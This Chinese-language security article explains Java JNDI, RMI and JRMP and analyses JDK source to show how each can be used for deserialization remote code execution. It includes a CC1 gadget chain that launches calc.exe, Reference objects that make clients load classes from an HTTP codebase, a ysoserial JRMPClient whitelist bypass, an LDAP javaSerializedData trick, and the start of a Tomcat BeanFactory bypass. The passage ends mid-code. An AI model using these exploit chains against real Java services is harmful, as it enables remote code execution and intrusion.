JNDI、RMI、JRMP一文总结

参考文章:https://xz.aliyun.com/news/6675#toc-0https://xz.aliyun.com/news/6860https://tttang.com/archive/1405/

概念

RMI 概念

RMI全称为Remote Method Invocation,翻译过来就是远程方法调用,通俗来说,就是跨JVM调用远程方法;与常规Java方法调用恰恰相反。

类似于HTTP接口调用,RMI也是调用,但是不同的是,调用的是Java方法。

即:RMI是一种行为,而该行为实际是Java远程方法调用。

JRMP 概念

JRMP全称为Java Remote Method Protocol,翻译过来就是Java远程方法协议,通俗来讲,就是一个在TCP/IP之上的线路层协议,一个RMI的过程,是用JRMP协议去组织数据格式然后通过TCP进行传输,最后达到RMI。

类似于HTTP,这也是一个协议,只是该协议仅用于Java RMI中。

即:JRMP是一个协议,是用于Java RMI过程中的协议,只有使用这个协议,方法调用双方才能正常的进行数据交流。

JNDI 概念

JNDI全称为Java Naming and Directory Interface,也就是Java命名和目录接口。既然是接口,那么就必定有其实现。目前Java中使用最多的基本就是RMI和LDAP的目录服务系统。

Naming(命令)的意思就是,在一个目录系统,实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端。

Directory(目录)的意思就是,在命名的基础上,增加了属性的概念,我们可以想象一个文件目录中,每个文件和目录都会存在着一些属性,比如创建时间、读写执行权限等等,并且我们可以通过这些相关属性筛选出相应的文件和目录。

JNDI中的目录服务中的属性大概与之相似,因此,我们就可以在使用服务名称之外,通过一些关联属性查找到对应的对象。

即:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来。

从攻击层面来分析

使用InitialContext lookup一个JNDI的RMI、LDAP服务导致反序列化RCE

先给出例子的代码:

public interface HelloService extends Remote {
    String doAction(String args[]) throws RemoteException;
}
 
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
 
    protected HelloServiceImpl() throws RemoteException {
    }
 
    @Override
    public String doAction(String args[]) throws RemoteException {
        if (args != null){
            System.out.println("hello, " + args[0]);
            return "hello, " + args[0];
        }else{
            System.out.println("hello world!");
            return "hello world!";
        }
    }
}

同时启动一个1099端口的Registry注册服务:

public class Main {
 
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            registry.bind("hello", new HelloServiceImpl());
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

使用Java 1.8.0_131运行该程序。

然后再写一个程序。

public interface HelloService extends Remote {
    String doAction(String args[]) throws RemoteException;
}
 
public class Main {
 
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
            HelloService service = (HelloService) registry.lookup("hello");
            System.out.println(service.doAction(null));
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

启动程序,可以看到两个程序都输出了hello world!

接下来说说其整体过程:

  1. 第一个程序启动时,启动了一个RMI的注册中心,接着将HelloServiceImpl注册并暴露到了RMI注册中心
  2. 第二个程序启动后,连接RMI注册中心,利用JNDI根据名称hello查询到了对应的对象,并将其数据下载到本地
  3. 第二个程序下载的是一个Stub,根据Stub存储的信息(第一个程序中HelloServiceImpl实现暴露的IP和Port),通过JRMP协议发起RMI请求
  4. 接收到RMI请求后,第一个程序调用对应方法,输出hello world!并将方法返回值序列化返回给第二个程序
  5. 第二个程序将受到的值反序列化得到方法返回值

可以看到,第二个程序进行lookup时,就会从Registry注册中心下载对应的数据,这里的下载是根据传入的Naming进行查找的。

如果想要进行RCE,可以向Registry注册Reference,Reference有三个参数,classNamefactoryclassFactoryLocation,当程序进行lookup并下载时,如果Reference的classFactoryLocation存在,就会下载这里的工厂类字节码并加载;然后尝试实例化一个工厂类用于生产目标类对象;因此在这里我们就能知道,如果将Reference的这个值设置为我们恶意类存放的地址,那么就可以通过这个来使得远程服务器加载Class从而RCE。

还是看例子:

public class Main
{
    public static void main( String[] args )
    {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference reference = new Reference("Evil","Evil","http://127.0.0.1:8080/");
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("hello",referenceWrapper);
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

第二个程序:

public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        try {
            new InitialContext().lookup("rmi://127.0.0.1:1099/hello");
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

注意,需要先将恶意类的Class文件放到本地HTTP8080端口下的根目录中。

此时可能出现问题:

javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.

这是因为JDK8u121开始,Oracle开始设置默认系统变量com.sun.jndi.rmi.object.trustURLCodebasefalse,这就导致通过RMI加载远程字节码不会被信任。

设置该系统变量的话可以发现能够成功加载恶意类字节码,但是一般来说对于攻击而言毫无意义。

绕过方式有两种:

  1. 使用LDAP服务取代RMI服务(8u191开始引入了JRP290,加入了反序列化类过滤)
  2. Tomcat-EL利用链,客户端需要存在依赖tomcat-embed-el:V8.5.15

Registry自身被反序列化RCE

前面提到,在进行RMI时,返回值会被序列化传输给客户端,那么如果客户端连接到Registry并自己Bind呢?

来看一段代码:

public class Main {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
        };
        Transformer transformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map ouputMap = LazyMap.decorate(innerMap,transformer);
 
        TiedMapEntry tiedMapEntry = new TiedMapEntry(ouputMap,"pwn");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        try {
            Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(badAttributeValueExpException,tiedMapEntry);
 
            Map tmpMap = new HashMap();
            tmpMap.put("pwn",badAttributeValueExpException);
            Constructor<?> ctor = null;
            ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
            ctor.setAccessible(true);
            InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class,tmpMap);
 
            Remote remote = Remote.class.cast(Proxy.newProxyInstance(Main.class.getClassLoader(), new Class[] {Remote.class}, invocationHandler));
            Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
            registry.bind("pwn",remote);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

上面的代码陌生可以看看这篇文章:Java反序列化

启动一个Registry,然后执行该程序,会发现注册中心弹出了计算器。

这实际上是因为在bind("pwn", remote)这里,Java在传输对象数据时,使用了原生的序列化进行,而注册中心反序列化时就因为CC1链反序列化漏洞被RCE了。

JRMP互打

根据前面总结一下的话,其实可以发现,之所以能够利用反序列打服务端的话,是因为在传输数据时有序列化和反序列化,同样的,服务端也会返回数据,这个数据也是序列化后的,客户端收到也会反序列化。

这就不难理解为什么能够互打了。

  • 服务端打客户端 客户端连上服务端时,服务端发送Payload给客户端
  • 客户端打服务端 客户端使用JRMP协议直接发送Payload给服务端

打法总结

打Registry注册中心

从上面的Registry自身被反序列化RCE可以知道,在Client进行bind对象时,会将对象序列化发送给Registry注册中心,因此如果这个对象被恶意构造,就可以通过反序列化打Registry注册中心了。

打InitialContext.lookup

通过JNDI的实现,一般通过rmi或者ldap的目录服务;具体的JDK版本打法会在后面的关于绕过篇章提及。

JRMP协议互打

在JRMP协议中,由于都存在对象的反序列化,因此无论是客户端打服务端还是服务端打客户端都是可行的。

如果是客户端打服务端,那么只需要客户端向服务端依据JRMP协议发送序列化的数据即可造成反序列化攻击;如果是服务端打客户端,那么就需要在客户端链接后,向客户端返回序列化数据造成客户端反序列化攻击。

从JDK不同版本源码来分析

RMI基础

RMI,即远程方法调用,通过这种技术可以跨越JVM,在不同的JVM中调用类方法。

而在使用RMI之前,我们则需要将被调用的类,先注册到一个RMI Registry的地方,相当于给这个类一个合法的身份证。调用者通过连接到RMI Registry,查询信息就能找到类所在JVM的ip以及对应的端口,从而通过网络实现远程方法的调用。

因此整个RMI服务实际至少有三个对象:调用者(客户端)、被调用者(服务端)、注册中心(RMI Registy)

在Java中创建一个Registry非常简单,只需要通过:LocateRegistry.createRegistry(1099);

服务端将一个类注册到Registry时,需要保证Registry可以访问到此类实现的接口,下面看个例子:

public interface HelloService extends Remote {
 
  String sayHello() throws RemoteException;
}
 
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
 
  protected HelloServiceImpl() throws RemoteException {
  }
 
  @Override
  public String sayHello() {
    System.out.println("hello!");
    return "hello!";
  }
}
 
public class RMIServer {
 
  public static void main(String[] args) {
    try {
      LocateRegistry.createRegistry("127.0.0.1", 1099).bind("hello", new HelloServiceImpl());
    } catch (AlreadyBoundException | RemoteException e) {
      e.printStackTrace();
    }
  }
}

这里我们需要说明的是,通过LocateRegistry.createRegistry("127.0.0.1", 1099),该方法签名中返回的是Registry对象,但是Registry实际是一个接口定义,它返回的实际上是其实现类sun.rmi.registry.RegistryImpl。这个对象其内部还会有一个Ref,其类型为sun.rmi.server.UnicastServerRef,我们通过调试可以看到详细:

800

在创建RegistryImpl的过程中,RMI 会通过UnicastServerRef自动导出一个远程存根(Stub),以支持客户端对注册表的远程访问。调试中看到的refUnicastServerRef对象,用于管理RegistryImpl的网络通信和Stub的生成。

然后通过实例化HelloServiceImpl,由于继承了UnicastRemoteObject,也会调用父类的构造方法,在UnicastRemoteObject的构造方法中也会自动导出此类的Stub;在bind时则将此Stub序列化发送到RMI Registry存根。

上面的服务端和Registry共存,然后我们就可以通过客户端调用此接口的方法了:

public interface HelloService extends Remote {
 
  String sayHello() throws RemoteException;
}
 
public class RMIClient {
 
  public static void main(String[] args) {
    try {
      HelloService helloService = (HelloService) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("hello");
      System.out.println(helloService.sayHello());;
    } catch (RemoteException | NotBoundException e) {
      e.printStackTrace();
    }
  }
}

当客户端执行LocateRegistry.getRegistry时,返回的是我们上面所说的Registry在创建时通过UnicastServerRef自动导出一个远程存根(Stub),也就是sun.rmi.registry.RegistryImpl_Stub,而lookup时,则会从Registry中获取对应对象导出的Stub,数据被下载到本地进行反序列化得到Stub对象。

Stub对象封装并存储了所有RMI的信息,包括如何和服务端联系、通信细节等。

JDK < 8u121

创建RMI Registry,是使用LocateRegistry.createRegistry(1099);来创建的,这个方法执行后,会创建一个监听在1099端口的ServerSocket,当RMI服务端执行bind时,会向Registry发送Stub序列化数据,最后在RMI Registry的sun.rmi.registry.RegistryImpl_Skel::dispatch处理。

整体执行函数调用栈:

dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:450, UnicastServerRef (sun.rmi.server)
dispatch:294, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1640924712 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

来看一下bind方法:

public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
    try {
      RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);
 
      try {
        ObjectOutput var4 = var3.getOutputStream();
        var4.writeObject(var1);
        var4.writeObject(var2);
      } catch (IOException var5) {
        throw new MarshalException("error marshalling arguments", var5);
      }
 
      super.ref.invoke(var3);
      super.ref.done(var3);
    } catch (RuntimeException var6) {
      throw var6;
    } catch (RemoteException var7) {
      throw var7;
    } catch (AlreadyBoundException var8) {
      throw var8;
    } catch (Exception var9) {
      throw new UnexpectedException("undeclared checked exception", var9);
    }
}

调用refnewCall方法,第三个参数为0(也就dispatch的case),第四个为固定制,用于匹配接口哈希;然后通过RemoteCall对象向RMI Registry写入了两个序列化对象。

dispatch中,对应case 0的方法如下:

case 0:
        try {
          var11 = var2.getInputStream();
          var7 = (String)var11.readObject();
          var8 = (Remote)var11.readObject();
        } catch (IOException var94) {
          throw new UnmarshalException("error unmarshalling arguments", var94);
        } catch (ClassNotFoundException var95) {
          throw new UnmarshalException("error unmarshalling arguments", var95);
        } finally {
          var2.releaseInputStream();
        }
 
        var6.bind(var7, var8);
 
        try {
          var2.getResultStream(true);
          break;
        } catch (IOException var93) {
          throw new MarshalException("error marshalling return", var93);
        }

这里进行了反序列化,这样我们就可以通过RMI服务端去执行Bind,然后通过Java反序列化攻击RMI Registry注册中心,导致其RCE。

对于RMI客户端,其实执行lookup方法中:

public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
    try {
      RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
 
      try {
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(var1);
      } catch (IOException var18) {
        throw new MarshalException("error marshalling arguments", var18);
      }
 
      super.ref.invoke(var2);
 
      Remote var23;
      try {
        ObjectInput var6 = var2.getInputStream();
        var23 = (Remote)var6.readObject();
      } catch (IOException var15) {
        throw new UnmarshalException("error unmarshalling return", var15);
      } catch (ClassNotFoundException var16) {
        throw new UnmarshalException("error unmarshalling return", var16);
      } finally {
        super.ref.done(var2);
      }
 
      return var23;
    } catch (RuntimeException var19) {
      throw var19;
    } catch (RemoteException var20) {
      throw var20;
    } catch (NotBoundException var21) {
      throw var21;
    } catch (Exception var22) {
      throw new UnexpectedException("undeclared checked exception", var22);
    }
}

可以看到此时的case为2,然后var3.writeObject(var1);,向RMI Regsitry发送序列化数据,随后对RMI Regsitry返回的数据进行了反序列化var23 = (Remote)var6.readObject(),即从理论上来说,我们可以发送恶意序列化数据使用客户端攻击RMI Registry或者通过RMI Registry去攻击客户端。

到这里其实已经搞明白了两个目标的攻击方法:

  1. RMI服务端使用bind方法主动攻击RMI Registry
  2. RMI客户端使用lookup方法主动攻击RMI Registry
  3. RMI Registry在客户端lookup时被动攻击客户端

现在还剩最后一个目标的攻击方法,即如何攻击服务端?

在上文说过,客户端lookup下载的是Stub,而Stub中存储了客户端与服务端的交流信息。

其实lookup方法返回的是一个动态代理对象,真正的逻辑由RemoteObjectInvocationHandler执行,其执行函数调用栈:

invoke:152, UnicastRef (sun.rmi.server)
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
sayHello:-1, $Proxy0 (com.sun.proxy)
main:18, RMIClient (com.threedr3am.bug.rmi.client)

而在UnicastRefinvoke方法中,可以发现,对于远程调用的传参,实际上客户端会把参数进行序列化然后再传输到服务端,代码位于sun.rmi.server.UnicastRef::marshalValue

对于远程调用的结果,服务端返回的数据,客户端会对其进行反序列化,代码位于sun.rmi.server.UnicastRef#unmarshalValue

所以这里就已经很明确了,服务端会对客户端发来的调用参数进行反序列化、客户端会对服务端发来的调用结果进行反序列化;那么双方都通过这个实现反序列化攻击。

但是想要利用反序列化进行攻击,那么就得有一个可以用的gadget

在目标系统没有存在可用的gadget时,我们就可以使用Reference对象去进行攻击(Reference对象其实是JDK自带的一种gadget)。

样例代码:

Registry registry = LocateRegistry.getRegistry(1099);
//TODO 把resources下的Calc.class 或者 自定义修改编译后target目录下的Calc.class 拷贝到下面代码所示http://host:port的web服务器根目录即可
Reference reference = new Reference("Calc","Calc","http://localhost/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Calc",referenceWrapper);

这样客户端在Lookup时就会下载恶意Class并且loadClass加载恶意Class从而RCE。

还是从源码看原理,客户端执行new InitialContext().lookup("rmi://127.0.0.1:1099/Calc");时会走到NamingManager.getObjectInstance来获取一个对象实例:

public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception {
 
    ObjectFactory factory;
 
    // Use builder if installed
    ObjectFactoryBuilder builder = getObjectFactoryBuilder();
    if (builder != null) {
        // builder must return non-null factory
        factory = builder.createObjectFactory(refInfo, environment);
        return factory.getObjectInstance(refInfo, name, nameCtx,
            environment);
    }
 
    // Use reference if possible
    Reference ref = null;
    if (refInfo instanceof Reference) {
        ref = (Reference) refInfo;
    } else if (refInfo instanceof Referenceable) {
        ref = ((Referenceable)(refInfo)).getReference();
    }
 
    Object answer;
 
    if (ref != null) {
        String f = ref.getFactoryClassName();
        if (f != null) {
            // if reference identifies a factory, use exclusively
 
            factory = getObjectFactoryFromReference(ref, f);
            if (factory != null) {
                return factory.getObjectInstance(ref, name, nameCtx,
                                                 environment);
            }
            // No factory found, so return original refInfo.
            // Will reach this point if factory class is not in
            // class path and reference does not contain a URL for it
            return refInfo;
 
        } else {
            // if reference has no factory, check for addresses
            // containing URLs
 
            answer = processURLAddrs(ref, name, nameCtx, environment);
            if (answer != null) {
                return answer;
            }
        }
    }
 
    // try using any specified factories
    answer =
        createObjectFromFactories(refInfo, name, nameCtx, environment);
    return (answer != null) ? answer : refInfo;
}

我们可以看到如果是一个Reference对象的话,首先判断工厂类名存不存在,如果存在则调用getObjectFactoryFromReference获取对象工厂:

static ObjectFactory getObjectFactoryFromReference(
    Reference ref, String factoryName)
    throws IllegalAccessException,
    InstantiationException,
    MalformedURLException {
    Class<?> clas = null;
 
    // Try to use current class loader
    try {
         clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    // All other exceptions are passed up.
 
    // Not in class path; try to use codebase
    String codebase;
    if (clas == null &&
            (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase);
        } catch (ClassNotFoundException e) {
        }
    }
 
    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

这里可以看到,首先尝试在当前的ClassPath加载工厂类,如果加载失败,则通过helper.loadClass(factoryName, codebase)加载远程类;所以我们的恶意类放在远程服务器上,作为工厂类的字节码,被加载即可RCE。

JDK == 8u121

在jdk8u121的时候,加入了反序列化白名单的机制,导致了几乎全部gadget都不能被反序列化了。

过滤的代码(RegistryImpl)如下:

private static Status registryFilter(FilterInfo var0) {
    if (registryFilter != null) {
      Status var1 = registryFilter.checkInput(var0);
      if (var1 != Status.UNDECIDED) {
        return var1;
      }
    }
 
    if (var0.depth() > (long)REGISTRY_MAX_DEPTH) {
      return Status.REJECTED;
    } else {
      Class var2 = var0.serialClass();
      if (var2 == null) {
        return Status.UNDECIDED;
      } else {
        if (var2.isArray()) {
          if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)REGISTRY_MAX_ARRAY_SIZE) {
            return Status.REJECTED;
          }
 
          do {
            var2 = var2.getComponentType();
          } while(var2.isArray());
        }
 
        if (var2.isPrimitive()) {
          return Status.ALLOWED;
        } else {
          return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
        }
      }
    }
}

可以看到是一个典型的白名单:

  1. String.class
  2. Number.class
  3. Remote.class
  4. Proxy.class
  5. UnicastRef.class
  6. RMIClientSocketFactory.class
  7. RMIServerSocketFactory.class
  8. ActivationID.class
  9. UID.class

但是这个白名单也不是不能打。

参考YSO的ysoserial.payloads.JRMPClient

ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
    Registry.class
}, obj);

可以看到其实都在白名单中,而这里绕过的思路实际上是UnicastRef

public class UnicastRef implements RemoteRef
 
public interface RemoteRef extends java.io.Externalizable

可以看到这个类间接地继承了java.io.Externalizable,因此在反序列化此类时,会触发readExternal方法执行,而这个方法又会一路走到DGCImpl_Stubdirty方法,在这个方法中我们就能直接看到对返回数据的反序列化,所以通过这个Gadget能绕过白名单,但是也只是绕过了白名单,还是需要存在可攻击的gadget依赖才能攻击。

可以看到都在白名单内,这一个Payload发送给服务器前,需要在自己的服务器上使用JRMPListener启动监听,并且要有合适的链去进行攻击。具体分析不放在这讲了。

在8u121后,对于使用Reference加载远程代码,JDK信任机制会通过判断环境变量com.sun.jndi.rmi.object.trustURLCodebase是否为true然后再加载,但是在121版本后默认为false了,那就没有办法通过RMI去打客户端了。

使用LDAP协议的JNDI还可以继续攻击,例如new InitialContext().lookup("rmi://127.0.0.1:1099/Calc")

JDK >= 8u191

在jdk8u191之后呢,系统变量com.sun.jndi.ldap.object.trustURLCodebase也为false了,这时,LDAP远程攻击代码也失效了。

此时,需要通过javaSerializedData返回序列化的gadget方式实现攻击。

com.sun.jndi.ldap.Obj中,方法decodeObject

static Object decodeObject(Attributes var0) throws NamingException {
    String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
 
    try {
      Attribute var1;
      if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
        ClassLoader var3 = helper.getURLClassLoader(var2);
        return deserializeObject((byte[])((byte[])var1.get()), var3);
      } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
        return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
      } else {
        var1 = var0.get(JAVA_ATTRIBUTES[0]);
        return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
      }
    } catch (IOException var5) {
      NamingException var4 = new NamingException();
      var4.setRootCause(var5);
      throw var4;
    }
}

这里可以看到判断了JAVA_ATTRIBUTES[1]是否为空,这个参数实际上是:

static final String[] JAVA_ATTRIBUTES = new String[]{"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation"};

也就是名为javaSerializedData的参数,也就是说,还可以通过修改LDAP服务直接返回javaSerializedData参数的数据,从而达到RCE。

e.addAttribute("javaSerializedData", classData);

JNDI绕过方式

在上面已经或多或少提起过一部分的绕过方式了,有的有详细的说明,而随着国内攻防演习的开展,实际上低版本的JDK已经很少能遇见了,我们大部分讨论的都是在高版本JDK下,即禁用了RMI远程对象、LDAP远程对象后的情况等绕过方式。

常规的绕过方式是通过Tomcat的org.apache.naming.factory.BeanFactory 工厂类去调用 javax.el.ELProcessor#eval方法或groovy.lang.GroovyShell#evaluate方法,还有上文最后说的通过LDAP的 javaSerializedData反序列化gadget。

接下来我们看一下这三种绕过方式。

Tomcat-ELProcessor绕过方式

请注意这需要Tomcat依赖。

此方式通过Tomcat的org.apache.naming.factory.BeanFactory来构造javax.el.ELProcessor;从上文我们知道com.sun.jndi.rmi.object.trustURLCodebase在8u121后被默认设为了false,意味不能加载远程的工厂类字节码,我们看一下实现的核心位置:

private Object decodeObject(Remote r, Name name) throws NamingException {  
    try {  
        Object obj = (r instanceof RemoteReference)  
                    ? ((RemoteReference)r).getReference()  
                    : (Object)r;  
 
        // Use reference if possible        Reference ref = null;  
        if (obj instanceof Reference) {  
            ref = (Reference) obj;  
        } else if (obj instanceof Referenceable) {  
            ref = ((Referenceable)(obj)).getReference();  
        }  
  
        if (ref != null && ref.getFactoryClassLocation() != null &&  
            !trustURLCodebase) {  
            throw new ConfigurationException(  
                "The object factory is untrusted. Set the system property" +  
                " 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");  
        }  
        return NamingManager.getObjectInstance(obj, name, this,  
                                               environment);  
    } catch (NamingException e) {  
        throw e;  
    } catch (RemoteException e) {  
        throw (NamingException)  
            wrapRemoteException(e).fillInStackTrace();  
    } catch (Exception e) {  
        NamingException ne = new NamingException();  
        ne.setRootCause(e);  
        throw ne;  
    }  
}

可以看到这里通过判断了环境变量和是否设置了远程地址来限制,那么我们在Reference中不设置远程地址,就会通过这里进入到NamingManager.getObjectInstance

public static Object
        getObjectInstance(Object refInfo, Name name, Context nameCtx,
                          Hashtable<?,?> environment)
        throws Exception
    {
 
        ObjectFactory factory;
 
        // Use builder if installed
        ObjectFactoryBuilder builder = getObjectFactoryBuilder();
        if (builder != null) {
            // builder must return non-null factory
            factory = builder.createObjectFactory(refInfo, environment);
            return factory.getObjectInstance(refInfo, name, nameCtx,
                environment);
        }
 
        // Use reference if possible
        Reference ref = null;
        if (refInfo instanceof Reference) {
            ref = (Reference) refInfo;
        } else if (refInfo instanceof Referenceable) {
            ref = ((Referenceable)(refInfo)).getReference();
        }
 
        Object answer;
 
        if (ref != null) {
            String f = ref.getFactoryClassName();
            if (f != null) {
                // if reference identifies a factory, use exclusively
 
                factory = getObjectFactoryFromReference(ref, f);
                if (factory != null) {
                    return factory.getObjectInstance(ref, name, nameCtx,
                                                     environment);
                }
                // No factory found, so return original refInfo.
                // Will reach this point if factory class is not in
                // class path and reference does not contain a URL for it
                return refInfo;
 
            } else {
                // if reference has no factory, check for addresses
                // containing URLs
 
                answer = processURLAddrs(ref, name, nameCtx, environment);
                if (answer != null) {
                    return answer;
                }
            }
        }
 
        // try using any specified factories
        answer =
            createObjectFromFactories(refInfo, name, nameCtx, environment);
        return (answer != null) ? answer : refInfo;
    }

在这里会通过getObjectFactoryFromReference先获取工厂实例,然后通过工厂实例的getObjectInstance(ref, name, nameCtx, environment)来获取一个对象示例,我们先看如何获取的工厂实例:

static ObjectFactory getObjectFactoryFromReference(
        Reference ref, String factoryName)
        throws IllegalAccessException,
        InstantiationException,
        MalformedURLException {
        Class<?> clas = null;
 
        // Try to use current class loader
        try {
            clas = helper.loadClassWithoutInit(factoryName);
            // Validate factory's class with the objects factory serial filter
            if (!ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) {
                return null;
            }
        } catch (ClassNotFoundException e) {
            // ignore and continue
            // e.printStackTrace();
        }
        // All other exceptions are passed up.
 
        // Not in class path; try to use codebase
        String codebase;
        if (clas == null &&
                (codebase = ref.getFactoryClassLocation()) != null) {
            try {
                clas = helper.loadClass(factoryName, codebase);
                // Validate factory's class with the objects factory serial filter
                if (clas == null ||
                    !ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) {
                    return null;
                }
            } catch (ClassNotFoundException e) {
            }
        }
 
        return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    }

所以其实非常简单,只要这个类还会先检测一遍,也就是ObjectFactoriesFilter.canInstantiateObjectsFactory(clas),不过这个检测是根据jdk.jndi.object.factoriesFilter这个系统属性来设置的,如果这个属性为null,那么会使用默认值*,也就是允许所有的工厂类。

所以目前来说我们可以通过设置Factory来加载本地的工厂类了,那么又要如何通过它来构造对象呢?首先看BeanFactory的getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment),不过这里的实现非常长,下面只截取其中的核心代码,另外需要指出的是,传递的四个参数从上面的代码return factory.getObjectInstance(ref, name, nameCtx, environment);这里能看出来,传入的是ref、className、相关上下文以及环境:

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
	if (obj instanceof ResourceRef) {
		try {
			Reference ref = (Reference)obj;
			String beanClassName = ref.getClassName();
			Class<?> beanClass = null;
			ClassLoader tcl = Thread.currentThread().getContextClassLoader();
			if (tcl != null) {
				try {
					beanClass = tcl.loadClass(beanClassName);
				} catch (ClassNotFoundException var26) {
				}
			} else {
				try {
					beanClass = Class.forName(beanClassName);
				} catch (ClassNotFoundException e) {
					e.printStackTrace();
				}
			}
 
			if (beanClass == null) {
				throw new NamingException("Class not found: " + beanClassName);
			} else {
				BeanInfo bi = Introspector.getBeanInfo(beanClass);
				PropertyDescriptor[] pda = bi.getPropertyDescriptors();
				// 无参构造方法实例化对象
				Object bean = beanClass.getConstructor().newInstance();
				// 通过forceString构造方法调用
				RefAddr ra = ref.get("forceString");
				Map<String, Method> forced = new HashMap();
				if (ra != null) {
					String value = (String)ra.getContent();
					Class<?>[] paramTypes = new Class[]{String.class};
 
					for(String param : value.split(",")) {
						param = param.trim();
						int index = param.indexOf('=');
						String setterName;
						if (index >= 0) {
						    // 等号后为setter名字
							setterName = param.substring(index + 1).trim();
							// 等号前面为属性名
							param = param.substring(0, index).trim();
						} else {
						    // 没有等号则构造setter名
							setterName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
						}
 
						try {
						    // 根据属性名放入setter方法,注意必须为一个String参数的setter方法
							forced.put(param, beanClass.getMethod(setterName, paramTypes));
						} catch (SecurityException | NoSuchMethodException var24) {
							throw new NamingException("Forced String setter " + setterName + " not found for property " + param);
						}
					}
				}
 
				Enumeration<RefAddr> e = ref.getAll();
				// 遍历所有的RefAddr
				while(e.hasMoreElements()) {
					ra = (RefAddr)e.nextElement();
					// 获取属性名
					String propName = ra.getType();
